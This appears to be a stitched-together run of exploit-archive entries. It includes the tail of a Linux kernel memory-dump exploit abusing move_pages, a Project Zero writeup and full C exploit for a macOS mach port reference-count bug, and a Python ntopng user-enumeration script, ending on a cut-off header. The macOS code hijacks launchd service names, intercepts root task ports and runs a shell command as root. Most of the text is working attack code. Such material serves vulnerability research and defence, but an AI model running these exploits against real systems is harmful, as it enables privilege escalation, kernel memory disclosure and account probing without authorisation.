		if (errno == ENOSYS) {
			fprintf(stdout, "Error: move_pages is not supported on this kernel.\n");
			exit(1);
		} else if (errno != ENODEV)
			tmp |= (1 << i);
	}
	
	return tmp;
}	

void menu(void)
{
	fprintf(stdout, "Enter your choice:\n"
			" [0] Dump via symbol/address with length\n"
			" [1] Dump entire range to file\n"
			" [2] Quit\n");
}

int trigger(void)
{
	unsigned long addr;
	unsigned long addr2;
	unsigned char thebyte;
	unsigned char choice = 0;
	char ibuf[1024];
	char *p;
	FILE *f;

	// get lingering \n
	getchar();
	while (choice != '2') {
		menu();
		fgets((char *)&ibuf, sizeof(ibuf)-1, stdin);
		choice = ibuf[0];
		
		switch (choice) {
		case '0':
			fprintf(stdout, "Enter the symbol or address for the base:\n");
			fgets((char *)&ibuf, sizeof(ibuf)-1, stdin);
			p = strrchr((char *)&ibuf, '\n');
			if (p)
				*p = '\0';
			addr = exp_state->get_kernel_sym(ibuf);
			if (addr == 0) {
				addr = strtoul(ibuf, NULL, 16);
			}
			if (addr == 0) {
				fprintf(stdout, "Invalid symbol or address.\n");
				break;
			}
			addr2 = 0;
			while (addr2 == 0) {
				fprintf(stdout, "Enter the length of bytes to read in hex:\n");
				fscanf(stdin, "%x", &addr2);
				// get lingering \n
				getchar();
			}
			addr2 += addr;
			
			fprintf(stdout, "Leaked bytes:\n");
			while (addr < addr2) {	
				thebyte = get_byte_at_addr(addr);
				printf("%02x ", thebyte);
				addr++;
			}
			printf("\n");
			break;
		case '1':
			addr = our_base -  0x10000000;
#ifdef __x86_64__
			/* 
			   our lower bound will cause us to access
			   bad addresses and cause an oops
			*/
			if (addr < 0xffffffff80000000)
				addr = 0xffffffff80000000;
#else
			if (addr < 0x80000000)
				addr = 0x80000000;
			else if (addr < 0xc0000000)
				addr = 0xc0000000;
#endif
			addr2 = our_base + 0x10000000;
			f = fopen("./kernel.bin", "w");
			if (f == NULL) {
				fprintf(stdout, "Error: unable to open ./kernel.bin for writing\n");
				exit(1);
			}

			fprintf(stdout, "Dumping to kernel.bin (this will take a while): ");
			fflush(stdout);
			while (addr < addr2) {
				thebyte = get_byte_at_addr(addr);
				fputc(thebyte, f);
				if (!(addr % (128 * 1024))) {
					fprintf(stdout, ".");
					fflush(stdout);
				}
				addr++;
			}
			fprintf(stdout, "done.\n");
			fclose(f);
			break;
		case '2':
			break;
		}
	}

	return 0;
}


int prepare(unsigned char *ptr)
{
	int node;
	int found_gap = 0;
	int i;
	int ret;
	int status;

	totalhigh_pages = exp_state->get_kernel_sym("totalhigh_pages");
	node_states = exp_state->get_kernel_sym("node_states");
	node_online_map = exp_state->get_kernel_sym("node_online_map");

	buf = malloc(4096);

	/* cheap hack, won't work on actual NUMA systems -- for those we could use the alternative noted
	   towards the beginning of the file, here we're just working until we leak the first bit of the adjacent table,
	   which will be set for our single node -- this gives us the size of the bitmap
	*/
	for (i = 0; i < 512; i++) {
		node = i;
		ret = syscall(__NR_move_pages, 0, 1, &buf, &node, &status, MPOL_MF_MOVE);
		if (errno == ENOSYS) {
			fprintf(stdout, "Error: move_pages is not supported on this kernel.\n");
			exit(1);
		} else if (errno == ENODEV) {
			found_gap = 1;
		} else if (found_gap == 1) {
			max_numnodes = i;
			fprintf(stdout, " [+] Detected MAX_NUMNODES as %d\n", max_numnodes);
			break;
		}
	}

	if (node_online_map != 0)
		our_base = node_online_map;
	/* our base for this depends on the existence of HIGHMEM and the value of MAX_NUMNODES, since it determines the size
	   of each bitmap in the array our base is in the middle of
	   we've taken account for all this
	*/
	else if (node_states != 0)
		our_base = node_states + (totalhigh_pages ? (3 * (max_numnodes / 8)) : (2 * (max_numnodes / 8)));
	else {
		fprintf(stdout, "Error: kernel doesn't appear vulnerable.\n");
		exit(1);
	}

	return 0;
}

int post(void)
{
	return 0;
}
            
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=959

Proofs of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/40957.zip

When sending and receiving mach messages from userspace there are two important kernel objects; ipc_entry and
ipc_object.

ipc_entry's are the per-process handles or names which a process uses to refer to a particular ipc_object.

ipc_object is the actual message queue (or kernel object) which the port refers to.

ipc_entrys have a pointer to the ipc_object they are a handle for along with the ie_bits field which contains
the urefs and capacility bits for this name/handle (whether this is a send right, receive right etc.)

  struct ipc_entry {
    struct ipc_object *ie_object;
    ipc_entry_bits_t ie_bits;
    mach_port_index_t ie_index;
    union {
      mach_port_index_t next;   /* next in freelist, or...  */
      ipc_table_index_t request;  /* dead name request notify */
    } index;
  };

#define IE_BITS_UREFS_MASK  0x0000ffff  /* 16 bits of user-reference */
#define IE_BITS_UREFS(bits) ((bits) & IE_BITS_UREFS_MASK)

The low 16 bits of the ie_bits field are the user-reference (uref) count for this name.

Each time a new right is received by a process, if it already had a name for that right the kernel will
increment the urefs count. Userspace can also arbitrarily control this reference count via mach_port_mod_refs
and mach_port_deallocate. When the reference count hits 0 the entry is free'd and the name can be re-used to
name another right.

ipc_right_copyout is called when a right will be copied into a space (for example by sending a port right in a mach
message to another process.) Here's the code to handle the sending of a send right:

    case MACH_MSG_TYPE_PORT_SEND:
        assert(port->ip_srights > 0);
        
        if (bits & MACH_PORT_TYPE_SEND) {
            mach_port_urefs_t urefs = IE_BITS_UREFS(bits);
            
            assert(port->ip_srights > 1);
            assert(urefs > 0);
            assert(urefs < MACH_PORT_UREFS_MAX);
            
            if (urefs+1 == MACH_PORT_UREFS_MAX) {
                if (overflow) {
                    /* leave urefs pegged to maximum */     <---- (1)
                    
                    port->ip_srights--;
                    ip_unlock(port);
                    ip_release(port);
                    return KERN_SUCCESS;
                }
                
                ip_unlock(port);
                return KERN_UREFS_OVERFLOW;
            }
            port->ip_srights--;
            ip_unlock(port);
            ip_release(port);
       
     ...     
        
        entry->ie_bits = (bits | MACH_PORT_TYPE_SEND) + 1;  <---- (2)
        ipc_entry_modified(space, name, entry);
        break;


If copying this right into this space would cause that right's name's urefs count in that space to hit 0xffff
then (if overflow is true) we reach the code at (1) which claims in the comment that it will leave urefs pegged at maximum.
This branch doesn't increase the urefs but still returns KERN_SUCCESS. Almost all callers pass overflow=true.

The reason for this "pegging" was probably not to prevent the reference count from becoming incorrect but rather because
at (2) if the urefs count wasn't capped the reference count would overflow the 16-bit bitfield into the capability bits.

The issue is that the urefs count isn't "pegged" at all. I would expect "pegged" to mean that the urefs count will now stay at 0xfffe
and cannot be decremented - leaking the name and associated ipc_object but avoiding the possibilty of a name being over-released.

In fact all that the "peg" does is prevent the urefs count from exceeding 0xfffe; it doesn't prevent userspace from believing
it has more urefs than that (by eg making the copyout's fail.)

What does this actually mean?

Let's consider the behaviour of mach_msg_server or dispatch_mig_server. They receive mach service messages in a loop and if the message
they receieved didn't corrispond to the MIG schema they pass that received message to mach_msg_destroy. Here's the code where mach_msg_destroy
destroys an ool_ports_descriptor_t:

    case MACH_MSG_OOL_PORTS_DESCRIPTOR : {
      mach_port_t                 *ports;
      mach_msg_ool_ports_descriptor_t *dsc;
      mach_msg_type_number_t      j;

      /*
       * Destroy port rights carried in the message 
       */
      dsc = &saddr->ool_ports;
      ports = (mach_port_t *) dsc->address;
      for (j = 0; j < dsc->count; j++, ports++)  {
          mach_msg_destroy_port(*ports, dsc->disposition); // calls mach_port_deallocate
      }
    ...

This will call mach_port_deallocate for each ool_port name received.

If we send such a service a mach message with eg 0x20000 copies of the same port right as ool ports the ipc_entry for that name will actually only have
0xfffe urefs. After 0xfffe calls to mach_port_deallocate the urefs will hit 0 and the kernel will free the ipc_entry and mark that name as free. From this
point on the name can be re-used to name another right (for example by sending another message received on another thread) but the first thread will
still call mach_port_deallocate 0x10002 times on that name.

This leads to something like a use-after-deallocate of the mach port name - strictly a userspace bug (there's no kernel memory corruption etc here) but
caused by a kernel bug.

** Doing something interesting **

Here's one example of how this bug could be used to elevate privileges/escape from sandboxes:

All processes have send rights to the bootstrap server (launchd). When they wish to lookup a service they send messages to this port.

Process A and B run as the same user; A is sandboxed, B isn't. B implements a mach service and A has looked up a send right to the service vended by
B via launchd.

Process A builds a mach message with 0x10000 ool send rights to the bootstrap server and sends this message to B. B receives the message inside mach_msg_server
(or a similar function.) When the kernel copies out this message to process B it sees that B already has a name for the boostrap port so increments the urefs count
for that name for each ool port in the message - there are 0x10000 of those but the urefs count stops incrementing at 0xfffe (but the copy outs still succeed and
process B sees 0x10000 copies of the same name in the received ool ports descriptor.)

Process B sees that the message doesn't match its MIG schema and passes it to mach_msg_destroy, which calls mach_port_deallocate 0x10000 times, destroying the rights
carried in the ool ports; since the bootstrap_port name only has 0xfffe urefs after the 0xfffe'th mach_port_deallocate this actually frees the boostrap_port's
name in process B meaning that it can be reused to name another port right. The important thing to notice here is that process B still believes that the name names
a send right to launchd (and it will just read the name from the bootstrap_port global variable.)

Process A can then allocate new mach port receive rights and send another message containing send rights to these new ports to process B and try to get the old name
reused to name one of these send rights - now when process B tries to communicate with launchd it will instead be communicating with process A.

Turning this into code execution outside of the sandbox would depend on what you could transativly do by impersonating launchd in such a fashion but it's surely possible.

Another approach with a more clear path to code execution would be to replace the IOKit master device port using the same technique - there's then a short path to getting
the target's task port if it tries to open a new IOKit user client since it will pass its task port to io_service_open_extended.

** poc **

This PoC just demonstrates the ability to cause the boostrap port name to be freed in another process - this should be proof enough that there's a very serious bug here.

Use a kernel debugger and showtaskrights to see that sharingd's name for the bootstrap port has been freed but that in userspace the bootstrap_port global is still the old name.

I will work on a full exploit but it's a non-trivial task! Please reach out to me ASAP if you require any futher information about the impact of this bug.

Tested on MacOS Sierra 10.12 (16A323)

################################################################################

Exploit attached :)

The challenge to exploiting this bug is getting the exact same port name reused
in an interesting way.

This requires us to dig in a bit to exacly what a port name is, how they're allocated
and under what circumstances they'll be reused.

Mach ports are stored in a flat array of ipc_entrys:

  struct ipc_entry {
    struct ipc_object *ie_object;
    ipc_entry_bits_t ie_bits;
    mach_port_index_t ie_index;
    union {
      mach_port_index_t next;   /* next in freelist, or...  */
      ipc_table_index_t request;  /* dead name request notify */
    } index;
  };

mach port names are made up of two fields, the upper 24 bits are an index into the ipc_entrys table
and the lower 8 bits are a generation number. Each time an entry in the ipc_entrys table is reused
the generation number is incremented. There are 64 generations, so after an entry has been reallocated
64 times it will have the same generation number.

The generation number is checked in ipc_entry_lookup:

  if (index <  space->is_table_size) {
                entry = &space->is_table[index];
    if (IE_BITS_GEN(entry->ie_bits) != MACH_PORT_GEN(name) ||
        IE_BITS_TYPE(entry->ie_bits) == MACH_PORT_TYPE_NONE)
      entry = IE_NULL;    
  }

here entry is the ipc_entry struct in the kernel and name is the user-supplied mach port name.

Entry allocation:
The ipc_entry table maintains a simple LIFO free list for entries; if this list is free the table will 
be grown. The table is never shrunk.

Reliably looping mach port names:
To exploit this bug we need a primitive that allows us to loop a mach port's generation number around.

After triggering the urefs bug to free the target mach port name in the target process we immediately
send a message with N ool ports (with send rights) and no reply port. Since the target port was the most recently
freed it will be at the head of the freelist and will be reused to name the first of the ool ports
contained in the message (but with an incremented generation number.)
Since this message is not expected by the service (in this case we send an
invalid XPC request to launchd) it will get passed to mach_msg_destroy which will pass each of 
the ports to mach_port_deallocate freeing them in the order in which they appear in the message. Since the
freed port was reused to name the first ool port it will be the first to be freed. This will push the name
N entries down the freelist.

We then send another 62 of these looper messages but with 2N ool ports. This has the effect of looping the generation
number of the target port around while leaving it in approximately the middle of the freelist. The next time the target entry
in the table is allocated it will have exactly the same mach port name as the original target right we
triggered the urefs bug on.

For this PoC I target the send right to com.apple.CoreServices.coreservicesd which launchd has.

I look up the coreservicesd service in launchd then use the urefs bug to free launchd's send right and use the
looper messages to spin the generation number round. I then register a large number of dummy services
with launchd so that one of them reuses the same mach port name as launchd thinks the coreservicesd service has.

Now when any process looks up com.apple.CoreServices.coreservicesd launchd will actually send them a send right
to one of my dummy services :)

I add all those dummy services to a portset and use that recieve right and the legitimate coreservicesd send right
I still have to MITM all these new connections to coreservicesd. I look up a few root services which send their
task ports to coreservices and grab these task ports in the mitm and start a new thread in the uid 0 process to run a shell command as root :)

The whole flow seems to work about 50% of the time.
*/

// ianbeer
// build: clang -o service_mitm service_mitm.c

#if 0
Exploit for the urefs saturation bug

The challenge to exploiting this bug is getting the exact same port name reused
in an interesting way.

This requires us to dig in a bit to exacly what a port name is, how they're allocated
and under what circumstances they'll be reused.

Mach ports are stored in a flat array of ipc_entrys:

	struct ipc_entry {
		struct ipc_object *ie_object;
		ipc_entry_bits_t ie_bits;
		mach_port_index_t ie_index;
		union {
			mach_port_index_t next;		/* next in freelist, or...  */
			ipc_table_index_t request;	/* dead name request notify */
		} index;
	};

mach port names are made up of two fields, the upper 24 bits are an index into the ipc_entrys table
and the lower 8 bits are a generation number. Each time an entry in the ipc_entrys table is reused
the generation number is incremented. There are 64 generations, so after an entry has been reallocated
64 times it will have the same generation number.

The generation number is checked in ipc_entry_lookup:

	if (index <  space->is_table_size) {
                entry = &space->is_table[index];
		if (IE_BITS_GEN(entry->ie_bits) != MACH_PORT_GEN(name) ||
		    IE_BITS_TYPE(entry->ie_bits) == MACH_PORT_TYPE_NONE)
			entry = IE_NULL;		
	}

here entry is the ipc_entry struct in the kernel and name is the user-supplied mach port name.

Entry allocation:
The ipc_entry table maintains a simple LIFO free list for entries; if this list is free the table will 
be grown. The table is never shrunk.

Reliably looping mach port names:
To exploit this bug we need a primitive that allows us to loop a mach port's generation number around.

After triggering the urefs bug to free the target mach port name in the target process we immediately
send a message with N ool ports (with send rights) and no reply port. Since the target port was the most recently
freed it will be at the head of the freelist and will be reused to name the first of the ool ports
contained in the message (but with an incremented generation number.)
Since this message is not expected by the service (in this case we send an
invalid XPC request to launchd) it will get passed to mach_msg_destroy which will pass each of 
the ports to mach_port_deallocate freeing them in the order in which they appear in the message. Since the
freed port was reused to name the first ool port it will be the first to be freed. This will push the name
N entries down the freelist.

We then send another 62 of these looper messages but with 2N ool ports. This has the effect of looping the generation
number of the target port around while leaving it in approximately the middle of the freelist. The next time the target entry
in the table is allocated it will have exactly the same mach port name as the original target right we
triggered the urefs bug on.

For this PoC I target the send right to com.apple.CoreServices.coreservicesd which launchd has.

I look up the coreservicesd service in launchd then use the urefs bug to free launchd's send right and use the
looper messages to spin the generation number round. I then register a large number of dummy services
with launchd so that one of them reuses the same mach port name as launchd thinks the coreservicesd service has.

Now when any process looks up com.apple.CoreServices.coreservicesd launchd will actually send them a send right
to one of my dummy services :)

I add all those dummy services to a portset and use that recieve right and the legitimate coreservicesd send right
I still have to MITM all these new connections to coreservicesd. I look up a few root services which send their
task ports to coreservices and grab these task ports in the mitm and start a new thread in the uid 0 process to run a shell command as root :)

The whole flow seems to work about 50% of the time.
#endif

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <libproc.h>
#include <pthread.h>

#include <servers/bootstrap.h>
#include <mach/mach.h>
#include <mach/mach_vm.h>

void run_command(mach_port_t target_task, char* command) {
  kern_return_t err;

  size_t command_length = strlen(command) + 1;
  size_t command_page_length = ((command_length + 0xfff) >> 12) << 12;
  command_page_length += 1; // for the stack

  // allocate some memory in the task
  mach_vm_address_t command_addr = 0;
  err = mach_vm_allocate(target_task,
                         &command_addr,
                         command_page_length,
                         VM_FLAGS_ANYWHERE);

  if (err != KERN_SUCCESS) {
    printf("mach_vm_allocate: %s\n", mach_error_string(err));
    return;
  }

  printf("allocated command at %llx\n", command_addr);
  uint64_t bin_bash = command_addr;
  uint64_t dash_c = command_addr + 0x10;
  uint64_t cmd = command_addr + 0x20;
  uint64_t argv = command_addr + 0x800;

  uint64_t argv_contents[] = {bin_bash, dash_c, cmd, 0};

  err = mach_vm_write(target_task,
                      bin_bash,
                      (mach_vm_offset_t)"/bin/bash",
                      strlen("/bin/bash") + 1);

  err = mach_vm_write(target_task,
                      dash_c,
                      (mach_vm_offset_t)"-c",
                      strlen("-c") + 1);

  err = mach_vm_write(target_task,
                      cmd,
                      (mach_vm_offset_t)command,
                      strlen(command) + 1);

  err = mach_vm_write(target_task,
                      argv,
                      (mach_vm_offset_t)argv_contents,
                      sizeof(argv_contents));

  if (err != KERN_SUCCESS) {
    printf("mach_vm_write: %s\n", mach_error_string(err));
    return;
  }

  // create a new thread:
  mach_port_t new_thread = MACH_PORT_NULL;
  x86_thread_state64_t state;
  mach_msg_type_number_t stateCount = x86_THREAD_STATE64_COUNT;

  memset(&state, 0, sizeof(state));

  // the minimal register state we require:
  state.__rip = (uint64_t)execve;
  state.__rdi = (uint64_t)bin_bash;
  state.__rsi = (uint64_t)argv;
  state.__rdx = (uint64_t)0;

  err = thread_create_running(target_task,
                              x86_THREAD_STATE64,
                              (thread_state_t)&state,
                              stateCount,
                              &new_thread);

  if (err != KERN_SUCCESS) {
    printf("thread_create_running: %s\n", mach_error_string(err));
    return;
  }

  printf("done?\n");
}


mach_port_t lookup(char* name) {
  mach_port_t service_port = MACH_PORT_NULL;
  kern_return_t err = bootstrap_look_up(bootstrap_port, name, &service_port);
  if(err != KERN_SUCCESS){
    printf("unable to look up %s\n", name);
    return MACH_PORT_NULL;
  }
  
  if (service_port == MACH_PORT_NULL) {
    printf("bad service port\n");
    return MACH_PORT_NULL;
  }
  return service_port;
}

/*
host_service is the service which is hosting the port we want to free (eg the bootstrap port)
target_port is a send-right to the port we want to get free'd in the host service (eg another service port in launchd)
*/

struct ool_msg  {
  mach_msg_header_t hdr;
  mach_msg_body_t body;
  mach_msg_ool_ports_descriptor_t ool_ports;
};

// this msgh_id is an XPC message
uint32_t msgh_id_to_get_destroyed = 0x10000000;

void do_free(mach_port_t host_service, mach_port_t target_port) {
  kern_return_t err;

  int port_count = 0x10000;
  mach_port_t* ports = malloc(port_count * sizeof(mach_port_t));
  for (int i = 0; i < port_count; i++) {
    ports[i] = target_port;
  }

  // build the message to free the target port name
  struct ool_msg* free_msg = malloc(sizeof(struct ool_msg));
  memset(free_msg, 0, sizeof(struct ool_msg));

  free_msg->hdr.msgh_bits = MACH_MSGH_BITS_COMPLEX | MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, 0);
  free_msg->hdr.msgh_size = sizeof(struct ool_msg);
  free_msg->hdr.msgh_remote_port = host_service;
  free_msg->hdr.msgh_local_port = MACH_PORT_NULL;
  free_msg->hdr.msgh_id = msgh_id_to_get_destroyed;

  free_msg->body.msgh_descriptor_count = 1;
  
  free_msg->ool_ports.address = ports;
  free_msg->ool_ports.count = port_count;
  free_msg->ool_ports.deallocate = 0;
  free_msg->ool_ports.disposition = MACH_MSG_TYPE_COPY_SEND;
  free_msg->ool_ports.type = MACH_MSG_OOL_PORTS_DESCRIPTOR;
  free_msg->ool_ports.copy = MACH_MSG_PHYSICAL_COPY;

  // send the free message
  err = mach_msg(&free_msg->hdr,
                 MACH_SEND_MSG|MACH_MSG_OPTION_NONE,
                 (mach_msg_size_t)sizeof(struct ool_msg),
                 0,
                 MACH_PORT_NULL,
                 MACH_MSG_TIMEOUT_NONE,
                 MACH_PORT_NULL); 
  printf("free message: %s\n", mach_error_string(err));
}

void send_looper(mach_port_t service, mach_port_t* ports, uint32_t n_ports, int disposition) {
  kern_return_t err;
  struct ool_msg msg = {0};
  msg.hdr.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, 0) | MACH_MSGH_BITS_COMPLEX;
  msg.hdr.msgh_size = sizeof(msg);
  msg.hdr.msgh_remote_port = service;
  msg.hdr.msgh_local_port = MACH_PORT_NULL;
  msg.hdr.msgh_id = msgh_id_to_get_destroyed;

  msg.body.msgh_descriptor_count = 1;

  msg.ool_ports.address = (void*)ports;
  msg.ool_ports.count = n_ports;
  msg.ool_ports.disposition = disposition;
  msg.ool_ports.deallocate = 0;
  msg.ool_ports.type = MACH_MSG_OOL_PORTS_DESCRIPTOR;

  err = mach_msg(&msg.hdr,
                 MACH_SEND_MSG|MACH_MSG_OPTION_NONE,
                 (mach_msg_size_t)sizeof(struct ool_msg),
                 0,
                 MACH_PORT_NULL,
                 MACH_MSG_TIMEOUT_NONE,
                 MACH_PORT_NULL);
  printf("sending looper: %s\n", mach_error_string(err));

  // need to wait a little bit since we don't send a reply port and don't want to fill the queue
  usleep(100);
}

mach_port_right_t right_fixup(mach_port_right_t in) {
  switch (in) {
    case MACH_MSG_TYPE_PORT_SEND:
      return MACH_MSG_TYPE_MOVE_SEND;
    case MACH_MSG_TYPE_PORT_SEND_ONCE:
      return MACH_MSG_TYPE_MOVE_SEND_ONCE;
    case MACH_MSG_TYPE_PORT_RECEIVE:
      return MACH_MSG_TYPE_MOVE_RECEIVE;
    default:
      return 0; // no rights
  }
}

int ran_command = 0;

void inspect_port(mach_port_t port) {
  pid_t pid = 0;
  pid_for_task(port, &pid);
  if (pid != 0) {
    printf("got task port for pid: %d\n", pid);
  }
	// find the uid
  int proc_err;
  struct proc_bsdshortinfo info = {0};
  proc_err = proc_pidinfo(pid, PROC_PIDT_SHORTBSDINFO, 0, &info, sizeof(info));
  if (proc_err <= 0) {
    // fail
    printf("proc_pidinfo failed\n");
    return;
  }

	if (info.pbsi_uid == 0) {
		printf("got r00t!! ******************\n");
    printf("(via task port for: %s)\n", info.pbsi_comm);
	  if (!ran_command) {
      run_command(port, "echo hello > /tmp/hello_from_root");
      ran_command = 1;
    }
  }

  return;
}

/*
implements the mitm
replacer_portset contains receive rights for all the ports we send to launchd
to replace the real service port

real_service_port is a send-right to the actual service

receive messages on replacer_portset, inspect them, then fix them up and send them along
to the real service
*/
void do_service_mitm(mach_port_t real_service_port, mach_port_t replacer_portset) {
  size_t max_request_size = 0x10000;	
	mach_msg_header_t* request = malloc(max_request_size);

  for(;;) {
    memset(request, 0, max_request_size);
    kern_return_t err = mach_msg(request,
                                 MACH_RCV_MSG | 
                                 MACH_RCV_LARGE, // leave larger messages in the queue
                                 0,
                                 max_request_size,
                                 replacer_portset,
                                 0,
                                 0);

    if (err == MACH_RCV_TOO_LARGE) {
      // bump up the buffer size
      mach_msg_size_t new_size = request->msgh_size + 0x1000;
      request = realloc(request, new_size);
      // try to receive again
      continue;
    }

    if (err != KERN_SUCCESS) {
      printf("error receiving on port set: %s\n", mach_error_string(err));
      exit(EXIT_FAILURE);
    }

    printf("got a request, fixing it up...\n");

    // fix up the message such that it can be forwarded:

    // get the rights we were sent for each port the header
    mach_port_right_t remote = MACH_MSGH_BITS_REMOTE(request->msgh_bits);
    mach_port_right_t voucher = MACH_MSGH_BITS_VOUCHER(request->msgh_bits);
   
    // fixup the header ports:
    // swap the remote port we received into the local port we'll forward
    // this means we're only mitm'ing in one direction - we could also
    // intercept these replies if necessary
    request->msgh_local_port = request->msgh_remote_port;
    request->msgh_remote_port = real_service_port;
    // voucher port stays the same

    int is_complex = MACH_MSGH_BITS_IS_COMPLEX(request->msgh_bits);
    
    // (remote, local, voucher)
    request->msgh_bits = MACH_MSGH_BITS_SET_PORTS(MACH_MSG_TYPE_COPY_SEND, right_fixup(remote), right_fixup(voucher));

    if (is_complex) {
      request->msgh_bits |= MACH_MSGH_BITS_COMPLEX;

      // if it's complex we also need to fixup all the descriptors...
      mach_msg_body_t* body = (mach_msg_body_t*)(request+1);
      mach_msg_type_descriptor_t* desc = (mach_msg_type_descriptor_t*)(body+1);
      for (mach_msg_size_t i = 0; i < body->msgh_descriptor_count; i++) {
        switch (desc->type) {
          case MACH_MSG_PORT_DESCRIPTOR: {
            mach_msg_port_descriptor_t* port_desc = (mach_msg_port_descriptor_t*)desc;
            inspect_port(port_desc->name);
            port_desc->disposition = right_fixup(port_desc->disposition);
            desc = (mach_msg_type_descriptor_t*)(port_desc+1);
            break;
          }
          case MACH_MSG_OOL_DESCRIPTOR: {
            mach_msg_ool_descriptor_t* ool_desc = (mach_msg_ool_descriptor_t*)desc;
            // make sure that deallocate is true; we don't want to keep this memory:
            ool_desc->deallocate = 1;
            desc = (mach_msg_type_descriptor_t*)(ool_desc+1);
            break;
          }
          case MACH_MSG_OOL_VOLATILE_DESCRIPTOR:
          case MACH_MSG_OOL_PORTS_DESCRIPTOR: {
            mach_msg_ool_ports_descriptor_t* ool_ports_desc = (mach_msg_ool_ports_descriptor_t*)desc;
            // make sure that deallocate is true:
            ool_ports_desc->deallocate = 1;
            ool_ports_desc->disposition = right_fixup(ool_ports_desc->disposition);
            desc = (mach_msg_type_descriptor_t*)(ool_ports_desc+1);
            break;
          }
        }
      }

    }

    printf("fixed up request, forwarding it\n");

    // forward the message:
    err = mach_msg(request,
                   MACH_SEND_MSG|MACH_MSG_OPTION_NONE,
                   request->msgh_size,
                   0,
                   MACH_PORT_NULL,
                   MACH_MSG_TIMEOUT_NONE,
                   MACH_PORT_NULL);

    if (err != KERN_SUCCESS) {
      printf("error forwarding service message: %s\n", mach_error_string(err));
      exit(EXIT_FAILURE);
    }
  }
	
}

void lookup_and_ping_service(char* name) {
  mach_port_t service_port = lookup(name);
  if (service_port == MACH_PORT_NULL) {
    printf("failed too lookup %s\n", name);
    return;
  }
  // send a ping message to make sure the service actually gets launched:
  kern_return_t err;
  mach_msg_header_t basic_msg;

  basic_msg.msgh_bits        = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, 0);
  basic_msg.msgh_size        = sizeof(basic_msg);
  basic_msg.msgh_remote_port = service_port;
  basic_msg.msgh_local_port  = MACH_PORT_NULL;
  basic_msg.msgh_reserved    = 0;
  basic_msg.msgh_id          = 0x41414141;

  err = mach_msg(&basic_msg,
                 MACH_SEND_MSG,
                 sizeof(basic_msg),
                 0,
                 MACH_PORT_NULL,
                 MACH_MSG_TIMEOUT_NONE,
                 MACH_PORT_NULL); 
  if (err != KERN_SUCCESS) {
    printf("failed to send ping message to service %s (err: %s)\n", name, mach_error_string(err));
    return;
  }

  printf("pinged %s\n", name);
}

void* do_lookups(void* arg) {
  lookup_and_ping_service("com.apple.storeaccountd");
  lookup_and_ping_service("com.apple.hidfud");
  lookup_and_ping_service("com.apple.netauth.sys.gui");
  lookup_and_ping_service("com.apple.netauth.user.gui");
  lookup_and_ping_service("com.apple.avbdeviced");
  return NULL;
}

void start_root_lookups_thread() {
  pthread_t thread;
  pthread_create(&thread, NULL, do_lookups, NULL);
}

char* default_target_service_name = "com.apple.CoreServices.coreservicesd";

int main(int argc, char** argv) {
  char* target_service_name = default_target_service_name;
  if (argc > 1) {
    target_service_name = argv[1];
  }

	// allocate the receive rights which we will try to replace the service with:
	// (we'll also use them to loop the mach port name in the target)
	size_t n_ports = 0x1000;
  mach_port_t* ports = calloc(sizeof(void*), n_ports);
  for (int i = 0; i < n_ports; i++) {
    kern_return_t err;
    err = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &ports[i]);
    if (err != KERN_SUCCESS) {
      printf("failed to allocate port: %s\n", mach_error_string(err));
      exit(EXIT_FAILURE);
    }
		err = mach_port_insert_right(mach_task_self(),
							 ports[i],
							 ports[i],
							 MACH_MSG_TYPE_MAKE_SEND);
    if (err != KERN_SUCCESS) {
      printf("failed to insert send right: %s\n", mach_error_string(err));
      exit(EXIT_FAILURE);
    }
  }

	// generate some service names we can use:
	char** names = calloc(sizeof(char*), n_ports);
  for (int i = 0; i < n_ports; i++) {
    char name[64];
    sprintf(name, "replacer.%d", i);
    names[i] = strdup(name);
  }

  // lookup a send right to the target to be replaced
  mach_port_t target_service = lookup(target_service_name);

  // free the target in launchd
  do_free(bootstrap_port, target_service);

  // send one smaller looper message to push the free'd name down the free list:
  send_looper(bootstrap_port, ports, 0x100, MACH_MSG_TYPE_MAKE_SEND);

  // send the larger ones to loop the generation number whilst leaving the name in the middle of the long freelist
  for (int i = 0; i < 62; i++) {
    send_looper(bootstrap_port, ports, 0x200, MACH_MSG_TYPE_MAKE_SEND);
  }

	// now that the name should have looped round (and still be near the middle of the freelist
  // try to replace it by registering a lot of new services
  for (int i = 0; i < n_ports; i++) {
    kern_return_t err = bootstrap_register(bootstrap_port, names[i], ports[i]);
    if (err != KERN_SUCCESS) {
      printf("failed to register service %d, continuing anyway...\n", i);
    }
  }

  // add all those receive rights to a port set:
  mach_port_t ps;
  mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_PORT_SET, &ps);
  for (int i = 0; i < n_ports; i++) {
    mach_port_move_member(mach_task_self(), ports[i], ps);
  }

  start_root_lookups_thread();

	do_service_mitm(target_service, ps);
  return 0;
}
            
# Exploit title: ntopng user enumeration
# Author: Dolev Farhi
# Contact: dolevf at protonmail.com
# Date: 04-08-2016
# Vendor homepage: ntop.org
# Software version: v.2.5.160805

#!/usr/env/python
import os
import sys
import urllib
import urllib2
import cookielib

server = 'ip.add.re.ss'
username = 'ntopng-user'
password = 'ntopng-password'
timeout = 6

if len(sys.argv) < 2:
    print("usage: %s <usernames file>") % sys.argv[0]
    sys.exit(1)

if not os.path.isfile(sys.argv[1]):
    print("%s doesn't exist") % sys.argv[1]
    sys.exit(1)

try:
    cj = cookielib.CookieJar()
    opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj))
    login_data = urllib.urlencode({'user' : username, 'password' :
password, 'referer' : '/authorize.html'})
    opener.open('http://' + server + ':3000/authorize.html', login_data,
timeout=timeout)
    print("\nEnumerating ntopng...\n")
    with open(sys.argv[1]) as f:
    for user in f:
        user = user.strip()
        url = 'http://%s:3000/lua/admin/validate_new_user.lua?user=%s&netw
orks=0.0.0.0/0,::/0' % (server, user)
          resp = opener.open(url)
        if "existing" not in resp.read():
            print "[NOT FOUND] %s" % user
        else:
            print "[FOUND] %s" % user
except Exception as e:
    print e
    sys.exit(1)
            
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=989

